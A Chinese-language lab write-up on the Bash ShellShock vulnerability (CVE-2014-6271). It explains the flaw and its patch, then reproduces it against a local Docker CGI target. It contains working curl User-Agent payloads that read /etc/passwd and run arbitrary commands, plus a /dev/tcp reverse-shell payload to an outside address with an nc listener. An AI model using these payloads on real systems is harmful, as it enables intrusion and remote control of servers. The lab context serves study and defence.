Bash ShellShock CVE-2014-6271(破壳)

[TOC]

漏洞原理

Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题的是以(){开头定义的环境变量在命令EVN中解析成函数后,Bash执行并未推出,而是继续解析并执行shell命令。而其核心的原因在于输入的过滤中没有严格限制边界,也没有作出合法化的参数判断。

在补丁中主要进行了参数的合法性过滤,补丁程序在/builtins/evalstring.cparse_and_execute函数中对输入的合法性边界检测,将代码注入的可能性排除。在排除中,主要用到了flag的两次判断和command的一次类型匹配,为了能够flag判断准确,在补丁中预先定义了SEVAL_FUNCDEFSEVAL_ONECMD两个标识作为判断依据。此漏洞的补丁更新有三处,主要进行输入的command进行过滤作用。

1
2
3
4
/* /builtins/common.h */

#define SEVAL_FUNCDEF 0x080 /* only allow function definitions */
#define SEVAL_ONECMD 0x100 /* only allow a single command */
1
2
3
4
5
6
7
8
9
/* /builtins/evalstring.c */

if((flags & SEVAL_FUNCDEF) && command->type != cmd_function_def )
{
internal_warning("%s: ignoring function definition attempt", from_file);
should_jump_to_top_level = 0;
last_result = last_command_exit_value = EX_BADUSAGE;
break
}
1
2
3
4
/* /builtins/evalstring.c */

if (flags & SEVAL_ONECMD)
break;

从以上阐述的漏洞原理可知,漏洞的根本原因存在于Bash的ENV命令实现上,因此漏洞本身是不能够直接导致远程代码执行的。如果要达到远程代码执行的目的,必须借助第三方服务程序作为媒介才能够实现,第三方服务程序也必须要满足众多条件才可以充当此媒介的角色。例如,apache2便可以,其CGI组件满足远程访问并调用Bash的ENV命令进行访问数据解析功能。漏洞实现远程代码执行原理图如下:
14139550048538.png

实验环境

VulApps/b/bash/shellshock1_CVE-2014-6271

漏洞复现

本地验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
m0nst3r@digapis:~/study/VulApps/b/bash/shellshock1_CVE-2014-6271$ docker run -t -i medicean/vulapps:b_bash_shellshock1 /bin/bash
bash-4.3# env x='() { :;}; echo Vulnerable' bash -c "echo test"
Vulnerable
test
bash-4.3# uname -a
Linux 65ce71c540ba 4.13.0-37-generic #42~16.04.1-Ubuntu SMP Wed Mar 7 16:03:28 UTC 2018 x86_64 GNU/Linux
bash-4.3# cat /etc/issue
Debian GNU/Linux 8 \n \l

bash-4.3# /bin/bash --version
GNU bash, version 4.3.24(1)-release (x86_64-unknown-linux-gnu)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
bash-4.3#

执行命令后,如果显示Vulnerable,证明系统存在漏洞,可改变echo Vulnerable为任意命令进行执行。

远程验证

利用VulApps提供的Docker,看下目录结构:

1
2
3
bash-4.3# cd /usr/local/apache2/cgi-bin/
bash-4.3# ls
poc.cgi printenv test-cgi

poc.cgi的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bash-4.3# cat poc.cgi 
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8">'
echo '<title>Bash ShellShock</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
exit 0

printenv的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
bash-4.3# cat printenv 
#!/usr/local/bin/perl
##
## printenv -- demo CGI program which just prints its environment
##

print "Content-type: text/plain; charset=iso-8859-1\n\n";
foreach $var (sort(keys(%ENV))) {
$val = $ENV{$var};
$val =~ s|\n|\\n|g;
$val =~ s|"|\\"|g;
print "${var}=\"${val}\"\n";
}

test-cgi的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
bash-4.3# cat test-cgi 
#!/bin/sh

# disable filename globbing
set -f

echo "Content-type: text/plain; charset=iso-8859-1"
echo

echo CGI/1.0 test script report:
echo

echo argc is $#. argv is "$*".
echo

echo SERVER_SOFTWARE = $SERVER_SOFTWARE
echo SERVER_NAME = $SERVER_NAME
echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE
echo SERVER_PROTOCOL = $SERVER_PROTOCOL
echo SERVER_PORT = $SERVER_PORT
echo REQUEST_METHOD = $REQUEST_METHOD
echo HTTP_ACCEPT = "$HTTP_ACCEPT"
echo PATH_INFO = "$PATH_INFO"
echo PATH_TRANSLATED = "$PATH_TRANSLATED"
echo SCRIPT_NAME = "$SCRIPT_NAME"
echo QUERY_STRING = "$QUERY_STRING"
echo REMOTE_HOST = $REMOTE_HOST
echo REMOTE_ADDR = $REMOTE_ADDR
echo REMOTE_USER = $REMOTE_USER
echo AUTH_TYPE = $AUTH_TYPE
echo CONTENT_TYPE = $CONTENT_TYPE
echo CONTENT_LENGTH = $CONTENT_LENGTH

运行docker:

1
2
m0nst3r@digapis:~/study/VulApps/b/bash/shellshock1_CVE-2014-6271$ docker run -it -d -p 80:80 medicean/vulapps:b_bash_shellshock1 
5f50262d8cbf791142822e857f32f4f8e33920ba2f6484c08e1e4f65749ca41f

访问本地地址:
Screenshot from 2018-03-29 12-16-38.png

测试命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
m0nst3r@digapis:/$ curl -A '() { :; }; a=`/bin/cat /etc/passwd`;echo $a' "http://127.0.0.1/cgi-bin/poc.cgi" -v
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET /cgi-bin/poc.cgi HTTP/1.1
> Host: 127.0.0.1
> User-Agent: () { :; }; a=`/bin/cat /etc/passwd`;echo $a
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Thu, 29 Mar 2018 04:18:39 GMT
< Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.1t DAV/2
< root: x:0:0:root:/root:/bin/bash
< daemon: x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
< bin: x:2:2:bin:/bin:/usr/sbin/nologin
< sys: x:3:3:sys:/dev:/usr/sbin/nologin
< sync: x:4:65534:sync:/bin:/bin/sync
< games: x:5:60:games:/usr/games:/usr/sbin/nologin
< man: x:6:12:man:/var/cache/man:/usr/sbin/nologin
< lp: x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
< mail: x:8:8:mail:/var/mail:/usr/sbin/nologin
< news: x:9:9:news:/var/spool/news:/usr/sbin/nologin
< uucp: x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
< proxy: x:13:13:proxy:/bin:/usr/sbin/nologin
< www-data: x:33:33:www-data:/var/www:/usr/sbin/nologin
< backup: x:34:34:backup:/var/backups:/usr/sbin/nologin
< list: x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
< irc: x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
< gnats: x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
< nobody: x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
< systemd-timesync: x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
< systemd-network: x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
< systemd-resolve: x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
< systemd-bus-proxy: x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
< Transfer-Encoding: chunked
< Content-Type: text/html
<
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Bash ShellShock</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=
UNIQUE_ID=WrxpH6wRAAIAAAAODMgAAAAF
SERVER_PORT=80
HTTP_HOST=127.0.0.1
DOCUMENT_ROOT=/usr/local/apache2/htdocs
SCRIPT_FILENAME=/usr/local/apache2/cgi-bin/poc.cgi
REQUEST_URI=/cgi-bin/poc.cgi
SCRIPT_NAME=/cgi-bin/poc.cgi
REMOTE_PORT=43562
PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/usr/local/apache2/cgi-bin
SERVER_ADMIN=you@example.com
HTTP_ACCEPT=*/*
REMOTE_ADDR=172.17.0.1
SHLVL=1
SERVER_NAME=127.0.0.1
SERVER_SOFTWARE=Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.1t DAV/2
QUERY_STRING=
SERVER_ADDR=172.17.0.2
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
HTTP_USER_AGENT=() { :
}
_=/usr/bin/env
</pre>
</body>
</html>
* Connection #0 to host 127.0.0.1 left intact

命令中可改变a=`/bin/cat/etc/passwd`;echo $a为任意命令进行执行。

另外一种命令执行方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
m0nst3r@digapis:/$ curl -A '() { :; }; echo ; echo $(/bin/ls -al /);' "http://127.0.0.1/cgi-bin/poc.cgi" -v
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET /cgi-bin/poc.cgi HTTP/1.1
> Host: 127.0.0.1
> User-Agent: () { :; }; echo ; echo $(/bin/ls -al /);
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Thu, 29 Mar 2018 04:21:50 GMT
< Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.1t DAV/2
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
total 76
drwxr-xr-x 1 root root 4096 Mar 29 03:57 .
drwxr-xr-x 1 root root 4096 Mar 29 03:57 ..
-rwxr-xr-x 1 root root 0 Mar 29 03:57 .dockerenv
drwxr-xr-x 1 root root 4096 Jul 30 2016 bin
drwxr-xr-x 2 root root 4096 May 30 2016 boot
drwxr-xr-x 5 root root 360 Mar 29 03:57 dev
drwxr-xr-x 1 root root 4096 Mar 29 03:57 etc
drwxr-xr-x 2 root root 4096 May 30 2016 home
drwxr-xr-x 1 root root 4096 Jul 30 2016 lib
drwxr-xr-x 2 root root 4096 Jul 27 2016 lib64
drwxr-xr-x 2 root root 4096 Jul 27 2016 media
drwxr-xr-x 2 root root 4096 Jul 27 2016 mnt
drwxr-xr-x 2 root root 4096 Jul 27 2016 opt
dr-xr-xr-x 298 root root 0 Mar 29 03:57 proc
drwx------ 2 root root 4096 Jul 27 2016 root
drwxr-xr-x 3 root root 4096 Jul 27 2016 run
drwxr-xr-x 2 root root 4096 Jul 27 2016 sbin
drwxr-xr-x 2 root root 4096 Jul 27 2016 srv
dr-xr-xr-x 13 root root 0 Mar 29 04:05 sys
drwxrwxrwt 1 root root 4096 Mar 29 03:57 tmp
drwxr-xr-x 1 root root 4096 Jul 29 2016 usr
drwxr-xr-x 1 root root 4096 Jul 30 2016 var
Content-type: text/html

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Bash ShellShock</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=
UNIQUE_ID=Wrxp3qwRAAIAAAAHAnkAAAAA
SERVER_PORT=80
HTTP_HOST=127.0.0.1
DOCUMENT_ROOT=/usr/local/apache2/htdocs
SCRIPT_FILENAME=/usr/local/apache2/cgi-bin/poc.cgi
REQUEST_URI=/cgi-bin/poc.cgi
SCRIPT_NAME=/cgi-bin/poc.cgi
REMOTE_PORT=43590
PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/usr/local/apache2/cgi-bin
SERVER_ADMIN=you@example.com
HTTP_ACCEPT=*/*
REMOTE_ADDR=172.17.0.1
SHLVL=1
SERVER_NAME=127.0.0.1
SERVER_SOFTWARE=Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.1t DAV/2
QUERY_STRING=
SERVER_ADDR=172.17.0.2
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
HTTP_USER_AGENT=() { :
}
_=/usr/bin/env
</pre>
</body>
</html>
* Connection #0 to host 127.0.0.1 left intact

反弹Shell的命令:

1
2
3
4
5
6
7
8
m0nst3r@digapis:/$ curl -A '() { :; }; /bin/bash -i >& /dev/tcp/192.168.0.89/8888 0>&1;' "http://127.0.0.1/cgi-bin/poc.cgi" -v
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET /cgi-bin/poc.cgi HTTP/1.1
> Host: 127.0.0.1
> User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.0.89/8888 0>&1;
> Accept: */*
>
1
2
3
4
5
6
7
8
9
m0nst3r@digapis:~$ nc -lvp 8888
Listening on [0.0.0.0] (family 0, port 8888)
Connection from [172.17.0.2] port 8888 [tcp/*] accepted (family 2, sport 57046)
bash-4.3$ ls
ls
poc.cgi
printenv
test-cgi
bash-4.3$